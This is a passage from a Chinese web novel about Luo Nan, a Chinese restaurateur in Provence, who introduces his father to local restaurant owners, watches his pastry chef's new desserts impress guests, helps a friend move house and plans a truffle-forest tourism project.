虽然表面上与罗天海聊的有来有回,但老板们更想要亲近罗南,话题总是会从各种刁钻的角度回到罗南的身上拉都拉不回去的那种。 为了把更多的舞台留给罗天海,罗南与阿图尔聊的有来有回,不给其他人找他‘见缝插针’的机会。 “为什么最近都不来了?”罗南指着桌子上的宫保鸡丁、麻婆豆腐和回锅肉等菜问阿图尔,“这几道你最喜欢的菜都改良好几版了。” 阿图尔尴尬的耸肩: “最近太忙了,抽不开身啊。” “哦?在忙什么?”罗南非常感兴趣的问。 一直等着和罗南聊点什么以缓和关系的奥利维尔抢答道: “阿图尔在阿普特又开了一间餐厅。” 阿图尔的经营理念和奥利维尔截然相反。 奥利维尔的风格是广撒网,以量取胜,但没有哪间餐厅干出来了比较大的名堂。 而阿图尔的风格是把一间餐厅做到最好。 罗南去过阿图尔位于阿普特繁华地段的餐厅,非常地道的法式风格,听这些老板们说,他的餐厅在阿普特人气相当火爆。 以阿图尔的性格,又开了一间餐厅,还真是挺让人意外的。 “这么大的事情怎么没有听你提起?”罗南用嗔怪的语气问,“开业了吗?我必须得去送份大礼啊。” 这个问题让阿图尔更加尴尬了,他用吃菜来掩饰内心情绪,一边咀嚼一边说: “2月份就开业了,但那个时候你正在戈尔德参加艺术活动,我怕分了你的心,就没有说,后来全部的精力都投入到了新店上又忙忘了,不信你问泰勒和诺亚他们,我都多久没有和他们联系了?” 阿图尔说的前半段话是借口。 他的第二间餐厅做的是‘创新’菜系,并不是之前的传统法餐,从罗南这里偷学的几道菜只是换了名字,连摆盘都没有太大的变化,自然不敢通知罗南去捧场。 但后半段话则是实情。 为了经营好这间寄予厚望的餐厅,阿图尔全部时间都放在了那里,不止是和罗南的关系生疏了,和其他人的往来也减少了。 罗南装作生气的说: “再忙你也要通知我,快把地址给我,我找个时间过去看看。” 阿图尔摇了摇头,露出苦涩的微笑,他偷师这件事罗南应该永远都不会知道了: “那间餐厅经营的不太好,我打算下个月初就关了,你就别去了。” “怎么会呢?”罗南关切的问,“你的第一间餐厅经营的那么好,一定总结了许多成功经验,沿袭之前的老路也不至于经营不善吧.是地址没选好吗?” 阿图尔笑的更加勉强了: “地址没有问题,是我的决策有问题,突破性太大,脱离了本土市场,而且我开业的那个月份是寒潮过后没多久你知道的,那个时候整个普罗旺斯的经济都不大好,因此一直没有缓回来,现在开新店太难了,我还是继续把老店经营好吧。” 罗南和罗天海都知道阿图尔之前在偷学中国菜。 也都知道他偷学失败了,因为之后他再也没有来过,结合阿图尔的回答,看起来他的那间‘突破性’极大的餐厅并没有得到本地人的接纳。 父子俩私下聊过许多次这个问题,结论是一致的——中餐传播到其他区域,对他们是有益的,而且是非常大的益处。 因此罗南并不想看到那间餐厅倒闭掉。 世界上没有稳赚不赔的买卖,在座的许多人都经历过餐厅经营不善的失败经历,听到罗南和阿图尔在聊的话题,纷纷安慰阿图尔这不算什么,整理心情重新出发。 罗南叹了一口气,也发表了看法: “太遗憾了,我不知道你新开了餐厅,其实早在去年我就想和你聊聊,问你愿不愿意在餐厅里做一些中式融合,因为我看你对中餐的接受度非常高、也很感兴趣,然而那个时候你的餐厅是地道的法餐,做融合并不合适.第二间餐厅听起来更加适合做尝试,但你又不想干了。” 阿图尔自然也知道他原先的餐厅不适合做其他餐种的融合,所以才开了第二个,但结果已经摆在眼前——失败了。 事实上,阿图尔这些年没少偷师,世界各地的烹饪风格他接触过许多,但他所认为很有特色的国外特色餐品,在本地人看来并不是那样的。 见罗南主动提起,阿图尔也找到了一个很好的‘坦白’机会: “新餐厅里的部分菜品已经融入了中式元素,但不知道为什么,顾客就是不感兴趣。” “已经融合进去了吗?”罗南放下了刀叉,指着窗外等位置的人说,“那不应该啊,你看看我这里,喜欢吃中餐的人很多。” 顺着罗南的手指看出去,老板们发出啧啧称奇的惊叹。 “门外排队的人一直都有,我们来的时候才几点?3点多吧.就开始有人排队了。” “你这里的受欢迎程度在阿普特和艾克斯都很难见到,全普罗旺斯能做到全天都有人排队的餐厅太少了。” “是不是和你们的餐品改良有关?我记得上次来时还不是这样呢。” “也许是因为卢尔马兰突然成为了热门村庄?” “但卢尔马兰的其他餐厅没有这样啊。”奥利维尔讨好的看向罗南,“卢尔马兰有这么多间餐厅,只有罗南的中餐厅生意这样火爆。” 老板们的话,把阿图尔心里即将熄灭的火焰又吹燃了一下。 为什么呢? 为什么罗南的餐厅可以这么成功,我的就要倒闭了? 我的判断绝对没有错,中餐在普罗旺斯有市场! 观察到阿图尔的脸上出现疑惑和不甘,罗南主动提议: “不如让我爸爸去看看你那里的情况?想要在普罗旺斯经验和中餐有关的东西,没人比他更有经验了。” 听到罗南的话,阿图尔既惊喜又遗憾。 惊喜的是,罗南居然主动要帮他? 遗憾的是,为什么去的是罗天海,而不是罗南啊? “你和你爸爸一起来吧,你不是正好要去看看?”阿图尔突然改变了态度,主动邀请罗南。 罗南遗憾的说: “我最近有些忙,如果赶我的时间那就要等一阵子,我听你说下个月初就要关店,看起来挺着急的——” 说到这里,他露出和煦的微笑: “而且实不相瞒,餐厅能经营成这样的最大功臣是我爸爸和餐厅里的员工们,我这里的员工‘卧虎藏龙’.和他们比,我就太不值一提了。” 罗南一整个下午都在夸赞他的父亲罗天海有多么多么的优秀,身为在场最成功的人,他的话自然会得到大家的一致肯定,只不过多少是真多少是假就需要仔细分辨了。 老板们没有感情的恭维了一阵子,过了一会听到收银台附近一阵骚动,是几个服务员交头接耳,表情夸张的正交流着什么。 罗南过去询问情况,才知道莉亚居然在后面试甜品呢。 “怎么了?”罗天海问返回的罗南。 莉亚也没有通知他。 罗南跃跃欲试的说: “莉亚在后厨试甜品,把这些小姑娘激动坏了,说又好吃又好看,都想进去多抢两块。” “莉亚在试甜品?”罗天海也露出了惊讶的神情。 阿图尔问: “莉亚是?” 罗天海向这些人解释: “是我们的甜品师。” 罗南已经等不及去后面看看了,同时也想给罗天海留出机会,他在这里,这些人只会打他的主意,不会关注罗天海: “我去后面看看,你们继续吃,我很快回来。” 罗南来的快去的也快,不给旁人问问题的机会,见他走的这么着急,奥利维尔问罗天海: “你们的甜品师不是罗南吗?” 罗南是普罗旺斯最著名的‘甜品师’,一个甜品能卖到几十万法郎的那种,有这样的大神在,大家自然而然的认为餐厅的甜品师是罗南。 罗天海给大家解释: “我们的甜品师一直是莉亚,罗南只在去年餐厅刚开业的阶段设计过一些甜品样式,今年的新品都是莉亚设计的。” 罗南餐厅的甜品比菜品更加出名,有不少顾客是专门来吃甜品的。 得知这里的甜品居然大部分是由其他人设计,大家感觉到非常惊讶。 你们这里居然还有一位厉害的甜品师? “今天的甜品试吃可以让我们也参与一下吗?”阿图尔期待的问。 他对一切新鲜的东西都感兴趣,也不想错过任何‘学习’的机会。 罗天海想了一下,觉得这没有什么不行的。 试菜的目的是为了得到有效的反馈,直至改良到最好,试甜品的目的也是一样的。 这几位都是经验丰富的餐厅老板,他们能给些意见对莉亚是极大的帮助。 他把伊莎贝尔叫了过来,把事情简单描述了一下,之后压低声音说道: “如果莉亚和罗南没有意见,你就拿一些出来,让朋友们尝尝。” 三分钟后,罗南歉意的将两个小盘子放到桌子上: “实在抱歉,甜品太受欢迎,我就抢下来了这么一点。” 他去后厨的时候,甜品已经被瓜分的差不多了,这两盘子是莉亚给他的宝贝心肝路易留下的,被他抢来了。 几位老板尴尬的笑了几声。 他们来了七个人,就给了这么两小盘子.谁好意思吃啊? 但大家不好意思,不代表爱学习的阿图尔也不好意思。 他一点都没客气的拿起了距离他最近的盘子仔细观看。 “好精美的蛋糕——”阿图尔的眼睛瞬间眯了起来。 从外形上看,他手里拿的这份甜品应该是蛋糕的一角,但只看这一角便能脑补出蛋糕的整体一定极其精美。 每一朵花、每一朵叶子都太精细了。 80年代经典款式依然占据法国甜品的主导地位,如慕斯、闪电泡芙和舒芙蕾等,口味上黄油、奶油、巧克力和香草是基础,到了近几年水果口味的甜品才开始大范围出现在市场上,例如草莓蛋糕和柠檬挞等。 从外形上看,法国人几十年前就摒弃了繁复的宫廷风,更偏向制作极简风格的甜品,在极简之上最多就是用糖霜、巧克力卷和金箔为点缀,强调对称美感,较少过度堆砌。 罗南餐厅里的甜品之所以备受关注和喜爱,就是因为它在繁复中带着简约,在简约中又透露出独特的艺术气息,就比如他们眼前看到的这款蛋糕。 “这真的不是你做的吗,罗南?”奥利维埃巨大的身体压了过来,“可是这好像你的风格啊。” 奥利维尔见过‘相思鸟’,他非常清楚罗南是如何将甜品和艺术结合起来的,所以看到这款造型精美的蛋糕会认为是罗南做的。 事实上罗南看到这款蛋糕时也吓了一条,没想到莉亚的造型能力已经如此之强了,她的优势应该在口感上,她做的甜品非常符合普罗旺斯本地人的喜好。 罗南猜有可能是因为,莉亚使用的‘学习’计划是从自己身上总结而来的.所以做甜品的风格变了。 但不得不承认,艺术真的成为了餐厅甜品的主旋律。 “真不是我做的,我也是几分钟前才看到它。”罗南实事求是的说。 在这几个人关注这款蛋糕时,桌子另一边的罗天海正和其他几个人关注另一个盘子里的甜品,那是一个款梨造型的甜品,底盘铺了一块布朗尼。 这两份甜品的造型都太抓眼球了。 此时老板们已顾不上两块蛋糕7个人分够不够,抢着拿起甜品勺想要尝一尝。 “哦,上帝,那下面居然不是布朗尼?等等,这是什么?” “上面的‘梨’居然不是水果,是慕斯,该死的,这个甜品的创意太让人意想不到了!” 阿图尔放下勺子,表情复杂的看罗南。 “我现在相信了.你餐厅里的员工果然‘卧虎藏龙’。” 这名叫莉亚的甜品师太强了! 莉亚的两份甜品不仅证明了餐厅在甜品领域的恐怖实力,还让大家对罗天海的看法改变了。 原先他们根本不相信罗南所说的‘餐厅能有今天靠的不是我,是我爸爸和员工们’类似的话,现在他们开始渐渐相信了。 阿图尔约好罗天海去阿普特的时间后才离开,走的时候不停跟罗天海说‘麻烦了’、‘辛苦了’和‘感谢’。 送朋友们离开后,罗南与罗天海一同从停车场走回餐厅。 “能帮就帮,不能帮就算了,别有什么压力。”罗南语气平淡的说。 如果罗天海能帮助阿图尔的餐厅‘起死回生’,之后混入这个圈子就万无一失了。 但如果还是不行,就再找其他机会。 罗天海背着手,习惯性的走在罗南前方一步的地方: “你今晚费心了,当了一晚上的绿叶。” 儿子今晚的表现老父亲全都看在眼里,为了把自己推出去,他费劲了心思,一直把功劳往其他人的身上撇。 突然,一双手勾到了他的肩膀上,两个人像是哥们一样肩并肩。 “我本来就是绿叶啊。”罗南笑着说,“你和莉亚才是餐厅里真正的红花,我只是把事实告诉大家罢了。” 第486章 暴躁老哥亨利 在之前的一个多月中,罗南新买下的那片北坡完成了土壤改良、滴灌和排水系统的安装。 近期又完成了排水和滴灌系统的稳定性和安全性测试,一切非常顺利,这自然和亨利的努力和认真脱不开关系。 完成这些之后,亨利便没有太多的事情要做,只等土壤完成几个月的自然沉降,在秋天让梅洛的育苗入土。 整个斯特斯加上上下下全部忙的团团转,盯酒庄建设的盯酒庄建设,搞旅游的搞旅游.亨利也想为斯特斯加多贡献一些。 他曾尝试着带游客去葡萄园参观,因为笑容太过吓人被顾客要求换个人服务。 他又去山顶监工,又因为说话太难听被希尔维勒令永远不要出现在那里。 近日来接连的打击让亨利的心情无比烦躁,每时每刻嘴里都想骂点东西,要不然他气的想吃人! 亨利心情不佳的最大受害者出现了——是老酒馆的老板科莫。 一大早,看到亨利又出现在门口,科莫恨不得把亨利一脚蹬出去。 “我说你能不能去罗南的餐厅喝酒去?不要来我这里了。”科莫举起手臂,把亨利向门外赶,“昨天你气走了两桌客人还不够吗?” “你以为我想来你这里?罗南先生的餐厅上午9点多有人排队等位置了。”亨利绕开科莫张开的手臂,坐到吧台上,锤着桌子说,“而且那不是我气走的,明明是那些外乡人愚蠢至极!他们居然说普罗旺斯的空气是最清新的,每呼吸一口就是从健康银行里领走了10法郎!这是多么愚蠢的比喻?普罗旺斯是欧洲空气污染最严重的地区之一!” “我不关心什么空气质量,但我希望你今天管住你的脾气和嘴,不要在这里惹事情。”科莫严肃的警告。 平时亨利嘴臭一点就臭一点了,顾客都是农夫和村民,谁不知道他是什么人? 但旅游季酒馆里坐着的都是逛累了歇歇脚的游客,亨利再口无遮掩、只要听到不合心意的事情就点评两句,科莫可不会再惯着他了。 罗南的餐厅在旅游季无法做为农夫们喝酒的场地。 早上来喝酒的人不少,老酒馆里坐了五六个人,几乎都是农夫,因为过一会他们就没有地方喝了,卢尔马兰每一个可以休息的地方都将被游客占据。 法比安打算喝一杯再去干活,听到亨利和科莫一大清早就发生了口角,赶紧把话题引走。 他敲了敲桌子,问亨利: “普罗旺斯真的是欧洲空气污染最严重的地区之一吗?但咱们这里的空气挺不错啊,每天都是蓝天白云。” 亨利拍了一张10元法郎到桌子上,示意科莫别废话了,赶紧给他倒酒,同时嘴也没闲着: “千真万确!普罗旺斯、热那亚、巴塞罗那和雅典是欧洲空气污染最严重的四个地区!” 这个话题相当有趣,另外几个村民也端着酒杯来到吧台,问亨利: “是哪里报到的消息?电视吗?还是杂志报纸?” 他们怎么没听到过这种说法? 亨利接过粉红酒,喝了一大口,冷哼着说: “还用看报道?我用脚趾头想都能知道,国道和高速公路上堵着的那些排气管里排出的废气,把普罗旺斯变成‘工业区’了!” “什么鬼东西!”大家四散而去。 亨利是村里最仇视游客的人,没有之一。 前一阵子有所收敛,看来最近又犯病了。 他们还以为亨利听到了什么他们不知道的消息。 “我说的是真的!”亨利暴跳如雷的喊,“这些外地来的掠夺者不仅抢走了我们的生活空间,还抢走了我们的清新空气!” “说的跟真的似的——” 众人扭头,发现老酒馆的门口又多了一个人。 罗南走到亨利旁边,一只胳膊撑着吧台看他: “你这嗓门大的,我在街上就听到了。” 罗南早上吃过早餐了,但突然馋起了阿兰做的蜂蜜面包,于是去了一趟小吃街。 买完在路上几口消灭了两个面包,回餐厅的路上路过老酒馆.正好听到亨利在里面‘大放厥词’。 亨利紧张的低下头,双手紧紧的握着杯子。 他知道罗南先生不喜欢听‘游客强盗’论但刚刚没有控制住。 罗南先生不会生气吧? 科莫非常通情达理的向罗南告状: “亨利昨天气走了我这里的两个游客,大前天还和一个游客差点打起来,再闹一次,布兰科就该找我谈话了。” 亨利咬牙切齿的回瞪科莫,像是要吃人。 罗南在,科莫有了底气。 在罗南面前,亨利就是一只‘小猫咪’,不足为惧。 他一点都不虚的回瞪亨利: “怎么?上班时间出来喝酒,被老板发现了,要杀人灭口啊?” “亨利提前做完了工作,最近没有什么事。”罗南主动替亨利解释。 亨利处处碰壁的事罗南听说了。 术业有专攻,亨利的专攻区域就是种地。 既然没有其他能干的,全当是给亨利放个清闲点的小假期了。 可这样看来,让亨利闲着也不是好事——这家伙的嘴是一点都没有把门的。 就像特奥嘴硬、爱吹牛一样,亨利看谁都不顺眼的毛病也不是轻易能改变的毕竟是几十年养成的习性了。 而且罗南也猜到了亨利是因为想要给斯特斯加多做贡献却处处碰壁的事,引得着急上火才会这个样子,事实上前一阵子做土壤改良的时候他性格好多了,特奥挑衅都不理。 既然这样就把他带在身边吧。 罗南拍了拍桌子,对亨利招手: “喝完了吗?喝完了跟我走。” 亨利一口把粉红酒干了,站起来戴好帽子: “罗南先生,我们去哪里?” 罗南转身离开: “有个朋友今天搬家,你跟我帮忙去。” 亨利立正敬礼: “好的罗先生!” 老酒馆里的人目送罗南和亨利离开。 科莫一边擦桌子一边撇嘴: “什么嘛,我还以为罗南会狠狠的骂亨利一顿呢,不但不骂他,还要带他去给朋友搬家,这不又让亨利‘爽’到了?我都能想到下次见到他时,这个老东西的样子,他肯定会龇着一口烂牙说,罗南对他和对其他人完全不一样什么什么的。” 法比安喝完了杯子里的葡萄酒,放下钱也离开了这里: “有的时候真羡慕亨利。” 罗南对亨利的的确确和对其他人不一样。 你说罗南身边什么‘人才’没有,怎么就这么重视亨利这家伙呢? “罗南先生,我们要去哪里?需要开车吗?您把钥匙给我,我取车去!” “需不需要我回家拿些工具?搬家的时候肯定会发现房子里的大小毛病,我可以帮他们修房子,我什么都会!” “搬家要持续很久吧?要不要我去准备点吃的东西?我跑着去,很快回来。” 亨利跟在罗南身边时,嘴也一刻不得闲。 听到要去帮忙搬家,把所有能想到的情况都提了一遍。 “不用开车,也不用带吃的东西,就在卢尔马兰,是布鲁诺搬来了。”罗南带着亨利回餐厅,“他那里什么工具都有,我们去出力就好了,我提前准备好了礼物,我们去餐厅取到就过去。” 今天是布鲁诺一家搬到卢尔马兰的日子。 罗南在很久之前就答应布鲁诺夫妻,他要去帮忙。 旅行季人手不好召集,大部分人都有要忙的事情脱不开身,顺路遇到亨利正好把他带去。 罗南给布鲁诺准备的礼物是从托马斯那里订的石雕,这东西放到餐厅好久了,一直在仓库里。 亨利跟着罗天海去拿礼物,罗南则拿起了收银台后的电话听筒。 今天见到布鲁诺,他会问一问在卢尔马兰附近买一小块森林的事情,为冬季在卢尔马兰开展人工松露采摘的相关旅行项目做准备。 这个设想第一次是由朱莉特提出的,那天她说了许多许多,还教导罗南应该去找旅游局要点‘资源’。 罗南想在和布鲁诺咨询之前,问问朱莉特其中的细节,没有遗漏了再去推进。 他从摩纳哥回来后就一直在给朱莉特家打电话,但始终没有人接听。 朱莉特之前曾提起过,她的丈夫和她一样也在政府机关工作,而且是在一个需要频繁出差的部门,一个月在家里待不了几天的那种。 难道夫妻两个人都变成出差狂魔了? 一会就要见到布鲁诺,罗南想再试一次,没想到这次电话终于打通了,而且接电话的就是朱莉特本人。 “你知道你有多幸运吗?再晚打来十分钟,我就拿着行李继续出差了。”朱莉特的语气里有明显的笑意。 一个多月不见,并没有让她和罗南的关系生疏。 “怎么突然这么忙了?”罗南换了个手拿话题,背对顾客,“因为升职了?” 前几天艾利安跟罗南说,朱莉特的升职信息已经公示了出来,板上钉钉了。 就是未来她将负责农业部的哪一块业务不清楚。 朱莉特先是意外的‘咦’了一声,又轻轻‘嗯’了一声: “前一阵子出去学习了,今天要去上阿尔卑斯省开会。” 朱莉特非常清楚罗南在普罗旺斯的人脉有多恐怖,无论是会长伊内斯,还是阿斯特丽德都与他交情匪浅,知道自己升职的消息并不稀奇。 罗南装作生气的说: “你说你上次突然不辞而别就算了,有要紧的事情处理我理解,但升职那么大的事都不告诉我,还需要我从别人的嘴里听到你太不拿我当自己人了。” 朱莉特在卢尔马兰的驻派工作可以用‘戛然而止’来形容,至少在罗南的视角里是这样的。 两个人上一次见面还在聊拔除计划和农业保险的推行还有没有提升可能,哪个方向可以作为尝试。 过了没几天,罗南突然接到朱莉特的电话,原来这家伙都走了好几天了,她通知罗南自己回到了阿维尼翁,之后都不回卢尔马兰了,驻派工作已经结束。 你说说,这是不是可以用不辞而别来形容? 怎么说两个人当了好几个月的战友,至少应该见一面吃个饭你再走啊。 一个多月不见,朱莉特依然还是那副追求高效的样子: “具体的事情有机会见面再说吧,你还有8分钟,赶紧说正事。” 她可不认为,罗南一大早打电话是来发泄情绪的。 罗南瞬间切换状态: “我想要在卢尔马兰附近买一块森林,做人工培育松露实验,冬天围绕那里搞一些旅游项目,现在准备去推进了,但在这之前想听听你的意见,有没有什么‘秘籍’传授给我。” 朱莉特一听就笑了。 好弟弟是一点都没拿她当外人啊。 当然了,几个月前在卡庞特拉,她主动向罗南提起这个项目时也没有拿他当外人。 因为松露培育不仅有一部分在森林局的业务范围内、可以与旅游局扯上关系,同时.也是农业部的重要工作之一。 “时间有限,你不要打断我,我说完你再插话。” 朱莉特根本不需要思考,似乎脑子里有一篇文章似的滔滔不绝的向罗南传授了起了‘经验’。 罗南越听越兴奋,越听眼睛瞪的越大,越听越觉得这事太有戏了! 朱莉特说完所有之后,罗南马上送上客观点评: “你不升职谁升职?朱莉特,你简直是天才。” “快把我说的东西记下来,别忘了细节。”朱莉特挂断了电话,“我得走了,等忙完这阵子我去卢尔马兰找你。” 布鲁诺的新家也买在卢尔马兰外围,从密集的村中心步行过去要15分钟。 不过住在外围的好处是,可以拥有一个巨大的院子,这是住在中心的居民无法拥有的东西。 远远的看到布鲁诺家门口停着一辆大卡车,罗南知道搬家已经开始了,赶忙带着亨利赶过去帮忙。 “我们来了!”罗南把礼物放到门口,从桑德琳手里拿过两把椅子,“亨利,帮忙搬东西。” “好的,罗南先生!”亨利马上爬上了卡车。 听到动静,屋里跑出来一个光秃秃的脑袋。 布鲁诺无比兴奋的伸出两只手臂,想要拥抱一下来帮忙的罗南。 只有搬家时,才能体会到拥有兄弟是一件多么让人幸福的事情。 但他在距离罗南两步的地方突然停下了,后仰了一下脑袋,不确定的问: “嘿,罗南,你是不是胖了?” 第487章 新的流行趋势 “啊?”罗南愣了一下,“我胖了吗?” 说话间布鲁诺已经抱住了罗南,听到他的问话,放开手臂又后仰了一下脑袋,仔仔细细的看了一会,犹犹豫豫的说: “似乎比我上次见你时胖了一点?” 布鲁诺和罗南的上一次见面在4月份,距今已经有一个多月了。 桑德琳抱着花瓶路过丈夫: “你们上次见面时还要穿外套呢,你看错了吧?我没觉得罗南胖了啊。” 布鲁诺摸了摸脑袋: “是是是,那就我看错了。” 罗南将两把椅子放到餐厅,见墙上有一面镜子,走过去照了照。 他左右转了转头,有些拿不准的嘀咕: “胖了吗?没有吧?” 他只知道最近胃口挺不错的,胖瘦倒是没有注意。 但这个时候可千万不能胖,因为6月份他要和佐伊去拍婚纱照了。 佐伊美的像是大明星,他‘肥头大耳’的可就不好看了。 “亨利。”罗南把亨利叫过来,指着自己的脸问,“你看我胖了吗?” 亨利龇牙咧嘴的说: “没有罗南先生,没有!您还是那么的英俊潇洒!” 罗南摆了摆手,示意亨利继续去搬东西吧。 亨利嘴里绝对说不出什么对罗南不利的话他问错人了。 “诶,你们都到了?”佐伊出现在布鲁诺家,她同样是来帮忙的。 罗南赶紧把佐伊喊来,紧张的问: “亲爱的,你觉得我最近胖了吗?” 佐伊连看都没看罗南一眼,随便敷衍了一句,便去找桑德琳: “没有啊亲爱的,你还和以前一样,桑德琳,有什么工作可以安排给我呢?” 布鲁诺在卢尔马兰有一些朋友,就是去年年底在他手底下打零工的那些农夫,不过兄弟们上午都有事情要忙,要晚一点过来,一整个上午能来帮忙的只有罗南、佐伊和亨利三个人。 还好布鲁诺是跨省搬家,大件家具几乎都是到普罗旺斯现买的,卡车里拉来的是些零零碎碎的小东西,不怎么重。 但时间长了还是挺累人的,尤其天气那么热。 桑德琳和佐伊最先停下休息,两位女士平时很少干体力活,能坚持到现在已经非常不错了。 布鲁诺又坚持了一会,也坐到屋里扇风喝水,脸红的和头顶的太阳一样。 他同样是做‘文职’的,上不了太大的强度。 “你们都休息吧,今天是我和亨利的主场。”罗南自信的说道。 他和亨利是农夫。 农夫要在地里一干一整天的,搬东西对他们来说不算什么。 但又过了40分钟 “您快去休息吧,罗南先生!”亨利抢过罗南手里的大箱子,顺道还扶了他一把。 “没事没事,我可以。”罗南把流进眼睛里的汗擦出去,稳了下身子,“就是天气太热了。” 亨利帮着罗南搬了两步,确认罗南没有什么问题,才离开去干别的。 见亨利走了,罗南的腰瞬间塌了下去。 他现在的体力太差了! 以前在烈日下摘三天葡萄都不带休息的,身体强壮的和牛一样。 现在搬两个多小时家而已就挥汗如雨了? “‘休息’太久了。”罗南艰难的走上楼梯。 今年把地交给了亨利打理,他好久没有干体力活了。 不能再用去年的身体情况衡量自己的实力—— “你还好吗亲爱的?”佐伊迎面走来,见罗南小脸煞白,腾出一只手摸了摸他的脸,“不舒服吗?” 罗南马上挺直腰背,咬着牙说: “没有啊亲爱的,我好的很呐。” 佐伊拍了拍罗南的屁股: “下去吃点水果,桑德琳早上去集市买的。” “来,亨利,吃水果。”罗南叫亨利一起休息。 “好的罗南先生,我搬完这几个箱子就来!”楼上传来亨利中气十足的声音。 布鲁诺家里现在有点乱,罗南拿了一个桃子,又抓了一把草莓,坐到了门外的几阶台阶上,刚咬一口,布鲁诺也坐了过来。 “哎呀呀,累死我了,你们体力太好了。”布鲁诺把两只脚劈开,身体向后躺下去,整个人都不太好了。 这已经是他今天上午的第二次休息了。 罗南把草莓递给他: “我刚来普罗旺斯时体力也很差,大扫除做了快一周才做好,后来种了地体力才好起来。” 得想办提高一下体力了。 如果再这样下去,体能只会越来越差。 但地里现在没什么活了啊这可怎么办呢? “我跟你可不能比,我没有什么时间。”布鲁诺坐直了身子,拿了一颗罗南手掌里的草莓,看着眼前的一片空地说,“如果我有时间,也要在门前种一片葡萄。” 罗南又咬了一口桃子: “没时间可以种点花啊什么的,一会让亨利告诉你怎么养。” 后院的打理也轮不到他,亨利每周都要来两三次.罗南如是想着。 “啊,对对对。”布鲁诺拍了下脑袋,“我听说普罗旺斯人非常在意大门附近的美化,那我就种点花花草草,应该也不错吧?” 等了半天,见罗南没有反应,布鲁诺碰了一下他的胳膊: “是不是?” 罗南结束了思考人生,点着头说: “对,有一点花草点缀房子马上就不一样,我建议你可以去卢尔马兰村里看看村民们是如何装饰家门口的,尤其是那些艺术家的房子,一定会有所收获。” 卢尔马兰全村处处点缀着好看的‘鲜花’,以前游客只在景点门口打卡,现在有很多会在民宅门口拍照留念。 “好,等搬完家我就去看看!”布鲁诺跃跃欲试的说,“下个月初我要出差一阵子,一定要在那之前弄好。” 中午康奈尔和特奥那帮兄弟们会带着吃的过来,再聊什么不太方便,罗南趁着这个机会和布鲁诺聊起了他想要在卢尔马兰搞黑松露旅游项目的计划。 布鲁诺听到这个特色项目非常兴奋,卢尔马兰发展的好对他也有利啊,他都把家搬到这里了。 “我认为这个项目会非常受欢迎。”布鲁诺结合着自己的亲身体会说,“今年冬天我带妻子和孩子在普罗旺斯玩了一圈,发现冬天无论是旅游项目还是美食相较于其他三个季节都太贫瘠了,如果可以去森林里了解人工培育松露的细节,并有可能亲自采摘,那一定会在我游玩计划中出现的。” 罗南自然也知道普罗旺斯的冬季旅游项目不多,所以才会想要在卢尔马兰附近找一片林子做实验,即使无法得到技术院的支持,全部自费他也想要做。 费尔南教授的态度现在并不明了,但罗南想先知道布鲁诺的态度: “我现在不清楚卢尔马兰的这片实验林未来是否能加入‘试验田’计划,我咨询了农业部,他们说这要看研究院,看他们是不是愿意增加工作量,但如果这里不归属进‘试验田’.森林局还会承担乔木成本吗?” 布鲁诺反问罗南: “为什么不呢?‘试验田’是农业部的项目,和我们森林局有什么关系?只要你的宿主树选取本土冬青栎,我们就会承担这部分预算,松露和宿主树的共生关系可以限制伐木、修复林地退化、平衡生态健康.对我们的好处太多了。” 罗南前倾身子,确认道: “也就是说,只要卡庞特拉的试验站提供菌丝育苗,你们就可以提供宿主树?” 布鲁诺从罗南的嘴里听出了试验站态度不明确的信息,主动问道: “需不需要我派人去试验站帮你推进一下?那些研究人员拒绝你了吗?” “没有没有!”罗南笑着搂住布鲁诺的肩膀,“我第一个找的是你,还没有去卡庞特拉推进这件事,他们的态度我还不知道呢。” 布鲁诺很认真的说: “有什么需要帮助的地方随时和我说,千万不要觉得这是在给我添麻烦,即使这件事和你没有关系,与松露和本土冬青栎有关的事情我也会管。” “我现在就要麻烦你了。”罗南也认真起来,“卢尔马兰附近有适合做这个项目的森林吗?不能距离村子太远,最好车程在20分钟之内,还有别太贵” 普罗旺斯的土地价格和房价一样蹭蹭蹭的涨,想要找到一片全部适合的森林不是那么容易。 布鲁诺摸着光秃秃的脑袋想了一会,似乎在找寻目标。 突然,他用力拍了一下: “还真有一片适合的,这样,你等我上班的时候去确认一下,如果没有问题,带你去看看。” “好的,那我就等你的消息了!”罗南开心的笑了起来。 中午来了十几号兄弟给布鲁诺家帮忙,那一卡车的东西转眼间就搬空了。 下午主要是收拾的工作,不需要出力气,罗南就带着亨利离开了那里。 虽然过了好几个小时,罗南心里还在想着他是不是胖了这个问题。 一到餐厅,他就迫不及待的问母亲冯珍: “妈妈,你看我最近胖了吗?” 如果亨利是绝不说罗南一句坏话,那冯珍就是说不出罗南身上的一个好字,天天戳他的心窝子。 罗南寄希望从母亲的嘴里,听到真实的信息。 冯珍把茶水杯放下,眯起眼睛仔仔细细的看了他好一阵子,而后咂巴着嘴说: “胖呢我倒是没看出来,但你实在太黑了。” 她伸出手臂和罗南的脸对比: “你看看你,和我都不像是一个人种了。” 高强度的体力劳动给罗南带来强壮的体魄之余,还给了他贴近大自然的肤色。 后来买了一辆敞篷车子,就更加黑了。 听到母亲的回答,罗南还挺高兴的。 没胖就行,没胖就行。 而且‘黑’是好事啊! “这你就不懂了。”罗南指着一桌艺术家说,“听那些艺术家说,现在艾克斯流行起了古铜色皮肤,这是有钱人的标志。” “什么东西?”冯珍提高了嗓门,满脸写着我不相信。 罗南心情不错的斜靠在收银台上,给母亲解释: “以前黝黑的皮肤的确是农奴的标志,上流社会的人习惯把自己保养的像瓷娃娃一样白皙,但现在可不是这样了,世道变了。” 法国人对太阳的崇拜在20世纪20年代起便崭露头角,这事还是从美国那边传的。 但到了20时机80年代末期,晒黑的皮肤已经成为了地位的象征,这代表这个人有钱有闲还喜欢旅游,那些昂贵的游艇上大概率有他们的身影。 在这个年代去‘美白’的法国人,很快就要哭晕在厕所里,因为再过一两年‘美黑’成为了法国人的主旋律。 越是有钱的人越要把自己晒黑,连脚趾间的缝隙都不肯放过。 这一次的‘美黑’狂潮一直持续到了2000年前后,那几年每年入夏之前,法国各地旅游局都会贴出标语,提醒居民过度暴晒会造成伤害,提早出现皱纹、黑斑,甚至是皮肤癌。 法国人对此收敛之后,欧洲的其他国家又开始了‘美黑’的风气,总之一直到21世纪,大部分欧洲人还是以‘黑’为荣的。 所以黑点怎么了? 这是流行! 冯珍对罗南的解释不屑一顾,翻着白眼说: “反正这是你和佐伊拍结婚照时的一个问题。” “我相信摄影师能完美解决这个问题。”罗南笑着离开收银台。 罗南习惯性的每天在餐厅里转一转,如果遇到熟人或者熟客他都会过去打个招呼,这也算是维护客情的一种途径。 今天他在大堂溜达的时候,看到了一位熟悉的客人。 